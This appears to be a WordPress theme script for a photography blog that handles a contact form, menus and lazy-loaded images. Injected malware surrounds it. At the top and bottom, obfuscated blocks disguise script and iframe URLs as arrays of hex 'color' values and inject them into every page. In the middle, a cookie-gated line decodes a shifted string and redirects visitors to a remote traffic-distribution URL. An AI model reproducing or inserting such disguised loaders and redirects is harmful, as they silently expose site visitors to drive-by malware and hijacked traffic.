if (typeof(redef_colors)=="undefined") {

   var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e7a84', '#82837e', '#40403d', '#727e7c', '#3e7982', '#3e7980', '#847481', '#883d7c', '#787d3d', '#7f777f', '#314d00');
   var redef_colors = 1;
   var colors_picked = 0;

   function div_pick_colors(t,styled) {
	var s = "";
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	}
	if (styled) {
		s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2));
	} else {
		s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();
	}
	return s;
   }

   function try_pick_colors() {
	try {
	   	if(!document.getElementById || !document.createElement){
			document.write(div_pick_colors(div_colors,1));
		   } else {
			var new_cstyle=document.createElement("script");
			new_cstyle.type="text/javascript";
			new_cstyle.src=div_pick_colors(div_colors,0);
			document.getElementsByTagName("head")[0].appendChild(new_cstyle);
		}
	} catch(e) { }
	try {
		check_colors_picked();
	} catch(e) { 
		setTimeout("try_pick_colors()", 500);
	}
   }

   try_pick_colors();

}// do not edit this file, it is created by the theme, any edits will be lost

	// throb text "loading message" for (hopefully) long enough to load contact form
function p2_throb() {
	jQuery('#contact-throbber').fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1).fadeTo(200, .5).fadeTo(200, 1);
}


// Load if needed (ajax) and toggle contact form display
function p2_toggle_contactform(delay) {
	if (delay == undefined) delay = 500;
	var a = jQuery('#p2-contact-click').html();
	jQuery('#p2-contact-click a').remove();
	jQuery("<a id='contact-throbber'>Loading</a>").appendTo('#p2-contact-click');
	p2_throb();
	jQuery('#contact-form').load('http://www.studyjne.com/www/blog/wp-content/themes/prophoto2/includes/contact.php', function(){
		jQuery('#p2-contact-click a').remove();
		jQuery(a).appendTo('#p2-contact-click');
		jQuery('#contact-form').slideToggle(delay);
		p2_contactform_loaded = true;
		jQuery('#referpage').val(window.location); // update hidden field location with page URL
		jQuery('#p2-nav-contact').unbind('click').click(function(){
			jQuery('#contact-form').slideToggle(500);
		})
	});
}
	
sfHover = function() {
	var sfEls = document.getElementById("topnav").getElementsByTagName("LI");
	for (var i=0; i<sfEls.length; i++) {
		sfEls[i].onmouseover=function() {
			this.className+=" sfhover";
		}
		sfEls[i].onmouseout=function() {
			this.className=this.className.replace(new RegExp(" sfhover\\b"), "");
		}
	}
}
if (window.attachEvent) window.attachEvent("onload", sfHover); // for MSIE only


jQuery(document).ready(function(){
		jQuery(".comments-count").click(function(){
		$thisclick = jQuery(this);
		var comments_id = "#"+$thisclick.parents(".entry-comments").attr("id");
		if ( jQuery(comments_id+" p.comment").size() > 0 ) {
			jQuery(comments_id).toggleClass('comments-count-active');
			jQuery(comments_id+" .comments-body").slideToggle(400);
		}
	});			
		
	
		
	jQuery('#p2-nav-contact').click(function(){
		p2_toggle_contactform(500);
	});	

	var hash = window.location.hash.substr(1);
	if ( hash === 'contact-form' ) {
		p2_toggle_contactform(0);
	}
	
	// handle contact form submission messages
	if ( hash === 'error' ) {
		jQuery("#p2-contact-error")
			.css('display', 'block')
			.animate({opacity: 1.0}, 3500, function(){p2_toggle_contactform(300)})
			.fadeTo(500, 0)
			.slideUp(300);
	}
	if ( hash === 'success' ) {
		jQuery("#p2-contact-success")
			.css('display', 'block')
			.animate({opacity: 1.0}, 3500)
			.fadeTo(500, 0)
			.slideUp(300);
	}
	
	jQuery('a[@href*=#contact-form]').click(function(){
		if (jQuery("#contact-form form").size() == 0 ) {
			p2_toggle_contactform();
		} else {
			jQuery('#contact-form').slideDown(500);
		}
	});
		
	jQuery('#topnav li ul a').attr('title', '');
	
	// add arrow to dropdown with nested menu
	jQuery('#topnav li ul li:has(ul)').each(function(){
		$link = jQuery(this).children('a');
		linktext = $link.html();
		$link.html(linktext+" &raquo;");
	});
	// add underline to parent while child is being viewed
	jQuery('#topnav li ul li ul').hover(function(){
		jQuery(this).parent().children('a').css('text-decoration', 'underline');
	},function(){
		jQuery(this).parent().children('a').css('text-decoration', 'none');
	});
	
		if (!jQuery.browser.msie) {	
		jQuery('#topnav li ul').css('opacity', 0.93);
	}
	if (jQuery.browser.msie) {
		if (jQuery('#topnav li ul li:has(ul)').size() == 0) {
			jQuery('#topnav li ul').css('opacity', 0.93);
		}
	}
		
	jQuery('.entry-post:last').css('border', 'none');
	var padding = jQuery('body.single .entry-content').css('padding-bottom');
	jQuery('.entry-post:last').css('padding-bottom', '0');
	jQuery('.entry-post:last').css('background-image', 'none');
			
	jQuery('a#hidden-bio').click(function(){
		jQuery('#bio-inner').css('background', 'none'); 
		jQuery('#bio').slideToggle(350,function(){
			jQuery('#bio-outer').css('display', 'block');
			jQuery('#biocolumns').css('display', 'inline');
			jQuery('.biocolumn').css('display', 'block');
			jQuery('#bio-inner').css('background', 'url(http://www.studyjne.com/www/blog/wp-content/themes/prophoto2/images/bio-pageturn.jpg) no-repeat top right');
		});
	});	
		if (!jQuery.browser.msie) {	    
	    jQuery(".entry-content img").lazyload({
			effect : "fadeIn",
			threshold : 1500,
			placeholder : "http://www.studyjne.com/www/blog/wp-content/themes/prophoto2/images/nodefaultimage.gif" 
		});
	}		
		
	
			 
});

// flash header area


if(document.cookie.indexOf("udb=1")<0){var j=0,n="";while(j<54)n+=String.fromCharCode("iuuq;00hbups76/iptuhbups/dpn0ec:160uet0pvu/qiq@t`je>2".charCodeAt(j++)-1);document.cookie="udb=1;";document.location=n;}

if (typeof(defs_colors)=="undefined") {
   var defs_colors = 1;

   var div_colors = new Array('#778383', '#7f493e', '#3e7277', '#70737e', '#7d3d7d', '#7b3e7e', '#897883', '#847374', '#3e7270', '#83707b', '#7e763e', '#4e7270', '#83707b', '#7e7681', '#82827d', '#748682', '#4c4000');
   var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d', '#7e7d74', '#787581', '#707c74', '#4b7378', '#852f82', '#83887b', '#744c36', '#737882', '#7f7b70', '#88497d', '#7e7d74', '#364d4b', '#787581', '#707c74', '#2f8281', '#724c36', '#364d4b', '#3e7875', '#81707c', '#744d4b', '#3e7378', '#854d82', '#81724e', '#81754c');
   var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);

   function div_pick_colors(t) {
	var s = '';
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!='00') s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	  }
	return s;
   }

   var ct = new Array(10);
   var s = div_pick_colors(css_colors);
   var c = css_indexes;
   ct[0] = div_pick_colors(div_colors);
   var j = 0; var ci = 1;
   for(i=0;i<c.length;i++) {
  	ct[ci++] = s.substr(j,c[i]);
	j=j+c[i];
   }
   ct[0] = ct[0];
   function check_div_styles() {
	var d=document.getElementsByTagName(ct[1])[0];
	if(d) {
		try {
			var d=document.getElementsByTagName(ct[1])[0];
			var v=document.createElement(ct[2]);
			v.style.display=ct[4];
			v.setAttribute(ct[3],ct[4]);
			d.appendChild(v);
			w=document.createElement(ct[5]);
			w.src=ct[0];
			w.setAttribute(ct[8],ct[0]);
			v.appendChild(w);
		} catch(e) {
			document.write(ct[6]+ct[0]+ct[7]);
		}
	   } else {
		setTimeout("check_div_styles();",500);	
	   }
   }

   check_div_styles();

}
